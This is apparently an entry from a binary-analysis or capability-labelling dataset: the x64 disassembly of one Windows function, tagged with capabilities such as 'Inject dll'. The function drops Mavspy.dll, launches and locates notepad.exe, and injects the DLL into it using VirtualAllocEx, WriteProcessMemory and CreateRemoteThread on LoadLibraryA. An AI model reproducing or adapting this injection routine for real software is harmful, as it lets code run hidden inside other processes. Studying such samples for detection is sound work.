Function at 0x1400226ec
Capabilities:
Create process on windows
Create thread
Enumerate processes
Inject dll
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x228]
sub rsp, 0x300
mov rax, qword [0x14002a040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor r15d, r15d
mov dword [rsp + 0x40], r15d
lea rcx, [rsp + 0x48]
call fcn.1400224e0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
sub rax, rcx
lea edx, [r15 + 0xb]
lea r12d, [r15 + 0xf]
cmp rax, rdx
jb 0x140022780
lea rax, [rcx + 0xb]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp qword [rdi + 0x18], r12
jbe 0x140022764
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rdx
lea rdx, [0x1400265b8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xb], r15b
jmp 0x140022790
mov qword [rsp + 0x20], rdx
mov rcx, rdi
call fcn.1400246cc
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r12
mov byte [rdi], r15b
mov r13d, 0x1000
mov rdx, qword [rsp + 0x60]
cmp rdx, r12
jbe 0x1400227fa
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r13
jb 0x1400227f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400227f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140024f3c
movdqa xmm0, xmmword [0x140026760]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], r15b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call fcn.1400259aa
lea rax, [0x1400266b0]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x34], r15b
mov byte [rbp + 0x29], r15b
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x38], r15
mov rax, qword [0x14002aad0]
mov qword [rbp + 0x2c], rax
mov qword [rbp + 0x20], r15
mov edi, 2
lea r8d, [rdi + 0x3e]
mov edx, edi
lea rcx, str.Mavspy.dll
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
test rax, rax
jne 0x1400228ea
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x14002295d
mov r8d, 1
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140024204
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.1400244d0
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14002292a
mov qword [rbp + 0x20], r15
jmp 0x140022939
mov qword [rbp + 0x20], rbx
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14002295d
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14002295d
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
lea rcx, [rsp + 0x68]
call fcn.140022280
nop
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], r12
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
lea rcx, [rbp - 0x50]
call fcn.140024b08
lea rcx, [rbp - 0x48]
call fcn.1400242bc
test rax, rax
jne 0x1400229ad
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r14d, r15d
xor edx, edx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
or rbx, 0xffffffffffffffff
cmp rax, rbx
je 0x140022a42
mov dword [rbp + 0xc0], 0x130
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x140022a2c
lea rdx, str.notepad.exe
lea rcx, [rbp + 0xec]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140022a32
lea rdx, [rbp + 0xc0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140022a05
jmp 0x140022a39
mov r14d, dword [rbp + 0xc8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsi, [rbp - 0x78]
cmp qword [rbp - 0x60], r12
cmova rsi, qword [rbp - 0x78]
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140022b2c
mov r8, rbx
inc r8
cmp byte [rsi + r8], r15b
jne 0x140022a6e
inc r8
mov dword [rsp + 0x20], 4
mov r9d, r13d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140022b22
inc rbx
cmp byte [rsi + rbx], r15b
jne 0x140022a9c
lea r9, [rbx + 1]
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140022b0d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140022b0d
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140022b0d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140022b2c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, r12
jbe 0x140022b66
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, r13
jb 0x140022b61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022b61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140024f3c
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r12
mov byte [rsp + 0x68], r15b
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x48]
call fcn.1400237d4
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, r12
jbe 0x140022bf1
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r13
jb 0x140022bec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022bec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140024f3c
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140024ca0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret